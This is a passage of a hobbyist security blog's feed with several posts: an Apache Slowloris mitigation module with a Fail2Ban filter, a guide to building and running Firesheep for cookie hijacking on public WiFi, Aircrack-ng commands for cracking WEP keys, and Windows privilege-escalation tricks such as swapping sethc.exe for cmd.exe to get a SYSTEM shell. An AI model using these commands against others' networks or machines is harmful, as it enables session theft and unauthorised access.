/&gt;&lt;pre&gt;&lt;code class="prettyprint"&gt;$ sudo apt-get install gcc apache2-threaded-dev&lt;br /&gt;$ wget https://gist.github.com/raw/773464/4e7250692c34f55725384525b513e71be7541f5a/mod_muantiloris.c&lt;br /&gt;$ sudo apxs2 -a -i -c mod_muantiloris.c&lt;br /&gt;$ sudo /etc/init.d/apache2 restart&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;Don't forget to disable mod_antiloris and/or mod_limitipconn if you have them enabled (using &lt;tt&gt;a2dismod&lt;/tt&gt;). The modified module uses only two optional configuration directives:&lt;br /&gt;&lt;br /&gt;&lt;tt&gt;IPReadLimit (default 5)&lt;br /&gt;IPPostLimit (default 10)&lt;/tt&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Note&lt;/b&gt;: just as with &lt;tt&gt;mod_limitipconn&lt;/tt&gt;, the &lt;tt&gt;ExtendedStatus&lt;/tt&gt; directive should be set to &lt;tt&gt;On&lt;/tt&gt; for this module to work!&lt;br /&gt;&lt;br /&gt;The module blocks both attack variants, and logs to &lt;tt&gt;error.log&lt;/tt&gt; like so:&lt;br /&gt;&lt;br /&gt;&lt;code class="prettyprint"&gt;[Tue Jan 11 00:11:35 2011] [warn] [client 0.0.0.0] Antiloris rejected, too many connections in READ state&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Mission successful!&lt;br /&gt;&lt;br /&gt;&lt;h2&gt;Fail2Ban&lt;/h2&gt;The following step is optional and only recommended if you already have Fail2Ban installed and running. &lt;a href="http://www.fail2ban.org/"&gt;Fail2Ban&lt;/a&gt; is a handy tool to ban IP's based on regex tests on logfiles. (I've caught dozens of Chinese,&amp;nbsp;Brazilian&amp;nbsp;and Russian&amp;nbsp;trespassers&amp;nbsp;already.)&lt;br /&gt;&lt;br /&gt;I use the following filter in combination with the modified mod_antiloris above:&lt;br /&gt;&lt;pre&gt;&lt;code class="prettyprint"&gt;[Definition]&lt;br /&gt;&lt;br /&gt;# Option:  failregex&lt;br /&gt;# Notes.:  regex to match the password failure messages in the logfile. The&lt;br /&gt;#          host must be matched by a group named "host". The tag "&lt;host&gt;" can&lt;br /&gt;#          be used for standard IP/hostname matching and is only an alias for&lt;br /&gt;#          (?:::f{4,6}:)?(?P&lt;host&gt;[\w\-.^_]+)&lt;br /&gt;# Values:  TEXT&lt;br /&gt;#&lt;br /&gt;failregex = [[]client &amp;lt;host&amp;gt;[]] Antiloris rejected, too many \(POST\) connections in WRITE state&lt;br /&gt;            [[]client &amp;lt;host&amp;gt;[]] Antiloris rejected, too many connections in READ state&lt;br /&gt;&lt;br /&gt;# Option:  ignoreregex&lt;br /&gt;# Notes.:  regex to ignore. If this regex matches, the line is ignored.&lt;br /&gt;# Values:  TEXT&lt;br /&gt;#&lt;br /&gt;ignoreregex =&lt;/host&gt;&lt;/host&gt;&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;I do set the &lt;tt&gt;bantime&lt;/tt&gt; to a low value and &lt;tt&gt;maxretry&lt;/tt&gt; parameter to a high amount however, as the module tends to generate a lot of error lines and legitimate,&amp;nbsp;aggressive&amp;nbsp;browsers sometimes like to make a lot of concurrent requests as well (mod_limitipconn did have the added benefit of specifying mime type to ignore, although its recognition is based on a reduced URI request string from the Apache scoreboard). Fail2Ban uses IPTables, which has the added benefit that once an IP is banned, Apache can stop dealing with its flooding altogether.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;That concludes this blog post. I hope you've found the material helpful. Feel free to use any code here and on Github as you see fit.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/21390211-262637983387788941?l=blog.macuyiko.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.macuyiko.com/feeds/262637983387788941/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://blog.macuyiko.com/2011/01/slowloris-and-mitigations-for-apache.html#comment-form' title='5 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/21390211/posts/default/262637983387788941'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/21390211/posts/default/262637983387788941'/><link rel='alternate' type='text/html' href='http://blog.macuyiko.com/2011/01/slowloris-and-mitigations-for-apache.html' title='Slowloris And Mitigations For Apache'/><author><name>Seppe vanden Broucke</name><uri>https://profiles.google.com/109801607284916240262</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh6.googleusercontent.com/-jv7ZgBEveU8/AAAAAAAAAAI/AAAAAAAASKg/_AAsrCl73m0/s512-c/photo.jpg'/></author><thr:total>5</thr:total></entry><entry><id>tag:blogger.com,1999:blog-21390211.post-3974798605205913243</id><published>2010-11-19T00:57:00.012+01:00</published><updated>2010-12-07T08:02:53.626+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='wifi wireless hack linux ubuntu firesheep compile'/><title type='text'>Compiling Firesheep on Linux</title><content type='html'>If you follow the (security) news a bit, you've&amp;nbsp;undoubtedly&amp;nbsp;heart about Firesheep. This tool makes it very easy to listen in on public WiFi connections and intercept HTTP Cookies from a plethora of social networking sites and mail services.&lt;br /&gt;&lt;br /&gt;This has been possible for a long time (some tcpdump filters and some cookie setting scripts and you're golden), but this tool makes it insanely easy. You can check out the tool and its description on the &lt;a href="http://codebutler.com/firesheep"&gt;main site&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;The site mentions that Linux support is on the way, and recently it has become possible to&amp;nbsp;successfully&amp;nbsp;compile the tool on Linux. This is what I did to get it running on Ubuntu 10.10.&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;code class="prettyprint"&gt;cd ~git clone git://github.com/mickflemm/firesheep.git&lt;br /&gt;cd firesheep/&lt;br /&gt;./autogen.sh --with-xulrunner-sdk=/usr/lib/xulrunner-devel-1.9.2.12&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;This will configure the makefile, this will probably fail until you have installed all the right dependencies. Below are the ones I was missing, yours might differ! Check the output for hints on which package you need to install.&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;code class="prettyprint"&gt;sudo apt-get install libxul-dev xulrunner-devsudo libpcap-devsudo libhal-dev&lt;br /&gt;# Now configure should succeed:&lt;br /&gt;./autogen.sh --with-xulrunner-sdk=/usr/lib/xulrunner-devel-1.9.2.12&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;We now need to make a small change to the makefile.&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;code class="prettyprint"&gt;gedit mozpopen/Makefile&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;Change the &lt;tt&gt;MOZ_CFLAGS = ...&lt;/tt&gt; line to:&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;code class="prettyprint"&gt;MOZ_CFLAGS = -fshort-wchar -I/usr/lib/xulrunner-devel-1.9.2.12/include -I/usr/include/nspr&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;Now we start compiling.&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;code class="prettyprint"&gt;make&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;This will probably fail with the message:&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;code class="prettyprint"&gt;make[1]: *** No rule to make target `deps/http-parser/http_parser.c', needed by `../xpi/platform/.../firesheep-backend'.  Stop.&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;This is fixed by running a submodule update:&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;code class="prettyprint"&gt;git submodule update --init&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;And make again:&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;code class="prettyprint"&gt;make&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;You'll now have an extension in the &lt;tt&gt;build&lt;/tt&gt; directory. Drag the &lt;tt&gt;.xpi&lt;/tt&gt; to Firefox to install Firesheep, then close Firefox completely.&lt;br /&gt;&lt;br /&gt;Firesheep expects your wireless interface to be in monitor mode. The easiest way to do this is to use &lt;tt&gt;airmon-ng&lt;/tt&gt;:&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;code class="prettyprint"&gt;sudo airmon-ng start eth1 #Substitute your wireless interface name&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;Now start Firefox with root rights:&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;code class="prettyprint"&gt;sudo firefox&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;Go to &lt;tt&gt;Tools&amp;nbsp;→&amp;nbsp;Add-ons&lt;/tt&gt;, and open the Firesheep &lt;tt&gt;Preferences&lt;/tt&gt; under the &lt;tt&gt;Extensions&lt;/tt&gt; view. Another window opens. Set the &lt;tt&gt;Capture Interface&lt;/tt&gt; to &lt;tt&gt;mon0&lt;/tt&gt;.&lt;br /&gt;&lt;br /&gt;Press &lt;tt&gt;CTRL+SHIFT+S&lt;/tt&gt; to open the Firesheep sidebar and to start capturing.&lt;br /&gt;&lt;br /&gt;Good luck. Also, be sure to check out &lt;a href="http://research.zscaler.com/2010/11/blacksheep-tool-to-detect-firesheep.html"&gt;Blacksheep&lt;/a&gt;, a tool to detect Firesheep tampering on your network.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/21390211-3974798605205913243?l=blog.macuyiko.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.macuyiko.com/feeds/3974798605205913243/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://blog.macuyiko.com/2010/11/compiling-firesheep-on-linux.html#comment-form' title='7 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/21390211/posts/default/3974798605205913243'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/21390211/posts/default/3974798605205913243'/><link rel='alternate' type='text/html' href='http://blog.macuyiko.com/2010/11/compiling-firesheep-on-linux.html' title='Compiling Firesheep on Linux'/><author><name>Seppe vanden Broucke</name><uri>https://profiles.google.com/109801607284916240262</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh6.googleusercontent.com/-jv7ZgBEveU8/AAAAAAAAAAI/AAAAAAAASKg/_AAsrCl73m0/s512-c/photo.jpg'/></author><thr:total>7</thr:total></entry><entry><id>tag:blogger.com,1999:blog-21390211.post-8629107115376905289</id><published>2010-11-03T21:16:00.008+01:00</published><updated>2010-11-03T21:37:46.198+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='wifi wireless hack wep aircrack linux ubuntu note'/><title type='text'>Aircrack Quick Tutorial (Wireless WEP Cracking)</title><content type='html'>Speaking of &lt;a href="http://blog.macuyiko.com/2010/11/ubuntu-1010-fixed-channel-mon0-1.html"&gt;wireless&lt;/a&gt;. The following is just a quick note-to-self, because I always forget the exact commands and end up crawling around the &lt;a href="http://www.aircrack-ng.org/doku.php"&gt;Aircrack wiki&lt;/a&gt; for a bit. I though I'd posted this before, but I can't seem to find it.&lt;br /&gt;&lt;br /&gt;&lt;code class="prettyprint"&gt;&lt;pre&gt;&lt;b&gt;TTY1$&lt;/b&gt; sudo airmon-ng start eth1&lt;br /&gt;# Assume monitor started on mon0.&lt;br /&gt;&lt;b&gt;TTY1$&lt;/b&gt; sudo airodump-ng mon0&lt;br /&gt;# Scout interesting APs and focus:&lt;br /&gt;&lt;b&gt;TTY1$&lt;/b&gt; sudo airodump-ng --channel &lt;span class="Apple-style-span"&gt;&lt;b&gt;X&lt;/b&gt;&lt;/span&gt; --bssid &lt;b&gt;&lt;span class="Apple-style-span"&gt;XX:XX:XX:XX:XX:XX&lt;/span&gt;&lt;/b&gt; -w output mon0&lt;br /&gt;# OK, this terminal is dumping data. Open a new one.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;TTY2$&lt;/b&gt; sudo aireplay-ng -1 0 -a &lt;b&gt;&lt;span class="Apple-style-span"&gt;XX:XX:XX:XX:XX:XX&lt;/span&gt;&lt;/b&gt; mon0&lt;br /&gt;# ... Association successful :-)&lt;br /&gt;&lt;br /&gt;# Now start the attack. I like opening a new terminal for this.&lt;br /&gt;# Don't bother with the ARP request replay attack.&lt;br /&gt;# The best method to use is the -p 0841 one, especially when using&lt;br /&gt;# a crappy wifi chip like me (3945ABG). Last time I checked, the&lt;br /&gt;# advanced attack methods (KoreK chopchop, fragmentation, caffe-&lt;br /&gt;# latte and Hirte) didn't work.&lt;br /&gt;&lt;b&gt;TTY3$&lt;/b&gt; sudo aireplay-ng -2 -p 0841 -c FF:FF:FF:FF:FF:FF -b &lt;b&gt;&lt;span class="Apple-style-span"&gt;XX:XX:XX:XX:XX:XX&lt;/span&gt;&lt;/b&gt; mon0&lt;br /&gt;&lt;br /&gt;# Wait until a packet is captured. It's best to use a small one (Size: 68).&lt;br /&gt;# Reinject and the data-counter in TTY1 (airodump) should go up. Now get cracking:&lt;br /&gt;&lt;b&gt;TTY4$&lt;/b&gt; sudo aircrack-ng -b &lt;b&gt;&lt;span class="Apple-style-span"&gt;XX:XX:XX:XX:XX:XX&lt;/span&gt;&lt;/b&gt; output*.cap&lt;br /&gt;&lt;br /&gt;#And, optional:&lt;br /&gt;&lt;b&gt;TTY5&lt;/b&gt;$ sudo aircrack-ng -K -b &lt;span class="Apple-style-span"&gt;&lt;b&gt;XX:XX:XX:XX:XX:XX&lt;/b&gt;&lt;/span&gt; output*.cap&lt;/pre&gt;&lt;/code&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/21390211-8629107115376905289?l=blog.macuyiko.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/21390211/posts/default/8629107115376905289'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/21390211/posts/default/8629107115376905289'/><link rel='alternate' type='text/html' href='http://blog.macuyiko.com/2010/11/aircrack-quick-tutorial.html' title='Aircrack Quick Tutorial (Wireless WEP Cracking)'/><author><name>Seppe vanden Broucke</name><uri>https://profiles.google.com/109801607284916240262</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh6.googleusercontent.com/-jv7ZgBEveU8/AAAAAAAAAAI/AAAAAAAASKg/_AAsrCl73m0/s512-c/photo.jpg'/></author></entry><entry><id>tag:blogger.com,1999:blog-21390211.post-6881841001002196466</id><published>2010-11-03T21:10:00.005+01:00</published><updated>2011-03-26T23:17:43.269+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='ubuntu aircrack maverick intel wireless iwl3945 3945ABG channel problem fix solution'/><title type='text'>Ubuntu 10.10: "fixed channel mon0: -1" Aircrack Problem With iwl3945</title><content type='html'>After upgrading to Ubuntu Maverick, the Aircrack suite stopped working.&lt;br /&gt;&lt;br /&gt;After setting &lt;tt&gt;airodump&lt;/tt&gt; to a channel (like usual):&lt;br /&gt;&lt;br /&gt;&lt;code class="prettyprint"&gt;airodump --channel &lt;b&gt;X&lt;/b&gt;&lt;/code&gt;&lt;br /&gt;It still displayed its status as:&lt;br /&gt;&lt;br /&gt;&lt;code class="prettyprint"&gt;fixed channel mon0: -1&lt;/code&gt;&lt;br /&gt;Some forum users advised to use:&lt;br /&gt;&lt;br /&gt;&lt;code class="prettyprint"&gt;airodump --channel &lt;b&gt;X&lt;/b&gt;,&lt;b&gt;X&lt;/b&gt;&lt;/code&gt;&lt;br /&gt;But this didn't work. For the record, I'm using a Thinkpad X60, with the &lt;tt&gt;iwl3945&lt;/tt&gt; driver. &lt;tt&gt;lshw&lt;/tt&gt; output:&lt;br /&gt;&lt;br /&gt;&lt;code&gt;&lt;pre class="prettyprint"&gt;  *-network&lt;br /&gt;       description: Wireless interface&lt;br /&gt;       product: PRO/Wireless 3945ABG [Golan] Network Connection&lt;br /&gt;       vendor: Intel Corporation&lt;br /&gt;       physical id: 0&lt;br /&gt;       bus info: pci@0000:03:00.0&lt;br /&gt;       logical name: eth1&lt;br /&gt;       version: 02&lt;br /&gt;       width: 32 bits&lt;br /&gt;       clock: 33MHz&lt;br /&gt;       capabilities: bus_master cap_list ethernet physical wireless&lt;/pre&gt;&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Luckily, there is an easy to follow &lt;a href="http://ubuntuforums.org/showthread.php?t=1598930"&gt;thread&lt;/a&gt; on the forums which fixes the problem for a similar card. This solution also worked with my 3945ABG.&lt;br /&gt;&lt;br /&gt;Here are the commands:&lt;br /&gt;&lt;br /&gt;&lt;code&gt;&lt;pre class="prettyprint"&gt;wget http://wireless.kernel.org/download/compat-wireless-2.6/compat-wireless-2010-10-16.tar.bz2&lt;br /&gt;tar -jxf compat-wireless-2010-10-16.tar.bz2&lt;br /&gt;cd compat-wireless-2010-10-16&lt;br /&gt;wget http://patches.aircrack-ng.org/mac80211.compat08082009.wl_frag+ack_v1.patch&lt;br /&gt;patch -p1 &amp;lt; mac80211.compat08082009.wl_frag+ack_v1.patch&lt;br /&gt;wget http://patches.aircrack-ng.org/channel-negative-one-maxim.patch&lt;br /&gt;patch ./net/wireless/chan.c channel-negative-one-maxim.patch&lt;br /&gt;gedit scripts/update-initramfs&lt;br /&gt;#*** FIND LINE 13: KLIB=/lib/modules/2.6.31-wl/build&lt;br /&gt;#*** REPLACE WITH: KLIB=/lib/modules/$(uname -r)/build&lt;br /&gt;make&lt;br /&gt;sudo make install&lt;br /&gt;sudo make unload&lt;br /&gt;sudo modprobe iwl3945&lt;/pre&gt;&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Alternatively you can also use &lt;tt&gt;sudo reboot&lt;/tt&gt; instead of &lt;tt&gt;sudo modprobe&lt;/tt&gt; if you're unsure which driver module you need to load.&lt;br /&gt;&lt;br /&gt;Aircrack should work fine again now. Note that kernel updates might overwrite the module again (and, hopefully, fix the bug at the same time).&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/21390211-6881841001002196466?l=blog.macuyiko.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.macuyiko.com/feeds/6881841001002196466/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://blog.macuyiko.com/2010/11/ubuntu-1010-fixed-channel-mon0-1.html#comment-form' title='17 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/21390211/posts/default/6881841001002196466'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/21390211/posts/default/6881841001002196466'/><link rel='alternate' type='text/html' href='http://blog.macuyiko.com/2010/11/ubuntu-1010-fixed-channel-mon0-1.html' title='Ubuntu 10.10: &quot;fixed channel mon0: -1&quot; Aircrack Problem With iwl3945'/><author><name>Seppe vanden Broucke</name><uri>https://profiles.google.com/109801607284916240262</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh6.googleusercontent.com/-jv7ZgBEveU8/AAAAAAAAAAI/AAAAAAAASKg/_AAsrCl73m0/s512-c/photo.jpg'/></author><thr:total>17</thr:total></entry><entry><id>tag:blogger.com,1999:blog-21390211.post-4830669619483988920</id><published>2010-09-07T23:12:00.000+02:00</published><updated>2010-09-07T23:12:36.491+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='note to self'/><category scheme='http://www.blogger.com/atom/ns#' term='link'/><category scheme='http://www.blogger.com/atom/ns#' term='update'/><category scheme='http://www.blogger.com/atom/ns#' term='directdraw'/><category scheme='http://www.blogger.com/atom/ns#' term='meta'/><title type='text'>Solving Color Problem In DirectDraw Games Update</title><content type='html'>I've received a few more e-mails and blog comments containing input and information about the famous DirectDraw palette problem which messes up colors in older games.&lt;br /&gt;&lt;br /&gt;In particular, Windows contains &lt;a href="http://go.hopx.net/2010/05/256-color-issues-with-directdraw-and.html"&gt;compatibility entries in the registry&lt;/a&gt;, and&amp;nbsp;&lt;a href="http://sol.gfxile.net/ddhack/"&gt;Jari Komppa&lt;/a&gt; has written a ddraw.dll which wraps DirectDraw.&lt;br /&gt;&lt;br /&gt;I've updated &lt;a href="http://blog.macuyiko.com/2009/07/solving-color-problem-red-grass-purple.html"&gt;my blog post from 2009 once more&lt;/a&gt; to reflect this new information. Currently, the easiest way to run Age Of Empires 2: The Conquerors without any hassles still seems to be my tool, which you can find &lt;a href="http://blog.macuyiko.com/2009/07/solving-color-problem-red-grass-purple.html"&gt;there&lt;/a&gt; as well.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;P.S.: Also, I will be competing in the &lt;a href="http://www.ai-contest.com/"&gt;Google A.I. Challenge&lt;/a&gt; again this year. I look forward to seeing you there!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/21390211-4830669619483988920?l=blog.macuyiko.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/21390211/posts/default/4830669619483988920'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/21390211/posts/default/4830669619483988920'/><link rel='alternate' type='text/html' href='http://blog.macuyiko.com/2010/09/solving-color-problem-in-directdraw.html' title='Solving Color Problem In DirectDraw Games Update'/><author><name>Seppe vanden Broucke</name><uri>https://profiles.google.com/109801607284916240262</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh6.googleusercontent.com/-jv7ZgBEveU8/AAAAAAAAAAI/AAAAAAAASKg/_AAsrCl73m0/s512-c/photo.jpg'/></author></entry><entry><id>tag:blogger.com,1999:blog-21390211.post-2609452301540961150</id><published>2010-08-18T23:30:00.004+02:00</published><updated>2010-08-18T23:32:51.858+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='tray'/><category scheme='http://www.blogger.com/atom/ns#' term='notification'/><category scheme='http://www.blogger.com/atom/ns#' term='missing'/><category scheme='http://www.blogger.com/atom/ns#' term='icons'/><category scheme='http://www.blogger.com/atom/ns#' term='notification area'/><category scheme='http://www.blogger.com/atom/ns#' term='windows'/><category scheme='http://www.blogger.com/atom/ns#' term='tray bar'/><title type='text'>Missing Icons In Notification Area (Tray Bar)</title><content type='html'>A few days ago some of my programs stopped showing their icons in the Windows (7) notification area. A quick peek at the Task Manager revealed that they were, in fact, running.&lt;br /&gt;&lt;br /&gt;Changing the notification settings and peeking around in the task bar configuration revealed nothing.&lt;br /&gt;&lt;br /&gt;It turns out that Windows 7 stores its tray icons in a registry key. To reset the icons, do this:&lt;br /&gt;&lt;blockquote&gt;1. Open regedit&lt;br /&gt;&lt;br /&gt;2. Go to &lt;tt&gt;&lt;b&gt;HKEY_CURRENT_USER\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\TrayNotify&lt;/b&gt;&lt;/tt&gt;&lt;br /&gt;&lt;br /&gt;3. You should see two values:&amp;nbsp;&lt;tt&gt;&lt;b&gt;IconStreams&lt;/b&gt;&lt;/tt&gt; (stores program path and other info) and &lt;tt&gt;&lt;b&gt;PastIconsStream&lt;/b&gt;&lt;/tt&gt; (stores the icon data), delete them&lt;br /&gt;&lt;br /&gt;4. Restart the &lt;tt&gt;explorer.exe&lt;/tt&gt; process (or restart the computer)&lt;br /&gt;&lt;br /&gt;5. The missing icons should return, if the volume meter or other standard Windows icons are gone, you can re-enable them in the normal Taskbar Properties dialog&lt;/blockquote&gt;That did the trick for me.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/21390211-2609452301540961150?l=blog.macuyiko.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.macuyiko.com/feeds/2609452301540961150/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://blog.macuyiko.com/2010/08/missing-icons-in-notification-area-tray.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/21390211/posts/default/2609452301540961150'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/21390211/posts/default/2609452301540961150'/><link rel='alternate' type='text/html' href='http://blog.macuyiko.com/2010/08/missing-icons-in-notification-area-tray.html' title='Missing Icons In Notification Area (Tray Bar)'/><author><name>Seppe vanden Broucke</name><uri>https://profiles.google.com/109801607284916240262</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh6.googleusercontent.com/-jv7ZgBEveU8/AAAAAAAAAAI/AAAAAAAASKg/_AAsrCl73m0/s512-c/photo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-21390211.post-2721038879020903697</id><published>2010-08-17T00:11:00.004+02:00</published><updated>2010-08-17T00:14:36.982+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='old'/><category scheme='http://www.blogger.com/atom/ns#' term='hacks'/><category scheme='http://www.blogger.com/atom/ns#' term='privilege'/><category scheme='http://www.blogger.com/atom/ns#' term='windows'/><category scheme='http://www.blogger.com/atom/ns#' term='hack'/><category scheme='http://www.blogger.com/atom/ns#' term='escalation'/><title type='text'>Oldie But Goodie: Privilege Escalation In Windows</title><content type='html'>&lt;h2&gt;Number One:&lt;/h2&gt;Replace &lt;tt&gt;C:\Windows\system32\sethc.exe&lt;/tt&gt; with &lt;tt&gt;cmd.exe&lt;/tt&gt; (e.g. by renaming and/or using a repair CD: with the Vista repair CD you can open "&lt;tt&gt;notepad&lt;/tt&gt;" in the command prompt and execute file manipulations from the Open Dialog).&lt;br /&gt;&lt;br /&gt;Restart. At the login screen press "Shift" five times (at this point, you can guess what sethc.exe originally did) and a command window with full system&amp;nbsp;privileges&amp;nbsp;will appear. Often used to replace forgotten administrator passwords:&lt;br /&gt;&lt;br /&gt;&lt;pre class="prettyprint"&gt;&lt;code&gt;net user administrator *&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;br /&gt;Of course, booting some sort of &lt;a href="http://www.sysresccd.org/"&gt;live CD&lt;/a&gt; or &lt;a href="http://pogostick.net/~pnh/ntpasswd/"&gt;tool&lt;/a&gt; might be simpler.&lt;/div&gt;&lt;h2&gt;Number Two:&lt;/h2&gt;The btwdins.exe method. On systems with the right&amp;nbsp;Bluetooth service executable, you can execute any executable located at &lt;tt&gt;C:\Program.exe&lt;/tt&gt; with LocalSystem rights. More info &lt;a href="http://osix.net/modules/article/?id=679"&gt;here&lt;/a&gt;.&lt;br /&gt;&lt;h2&gt;Number Three:&lt;/h2&gt;&lt;div&gt;&lt;div&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;A.k.a. the famous "at"-method, there was a lot of talk about this back in the day (about a year ago). Basically, the concept went like this:&lt;/div&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;Open a command prompt as a normal user, type:&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;/div&gt;&lt;pre class="prettyprint" style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;code&gt;at&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;If it responds with an "&lt;tt&gt;Access denied.&lt;/tt&gt;" error, you are out of luck. If it responds with "&lt;tt&gt;There are no entries in the list.&lt;/tt&gt;" then you're good.&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;Now execute:&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;/div&gt;&lt;pre class="prettyprint" style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;code&gt;at 18:15 /interactive "cmd.exe"&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;br /&gt;And at a quarter past six a command prompt will appear, with SYSTEM privileges. Sounds sensible, right? Not really, since the only users able to schedule commands &lt;a href="http://h0bbel.p0ggel.org/windows-xp-privilege-escalation-exploit-no-it-isnt"&gt;are already local administrators&lt;/a&gt;.&lt;/div&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/21390211-2721038879020903697?l=blog.macuyiko.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/21390211/posts/default/2721038879020903697'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/21390211/posts/default/2721038879020903697'/><link rel='alternate' type='text/html' 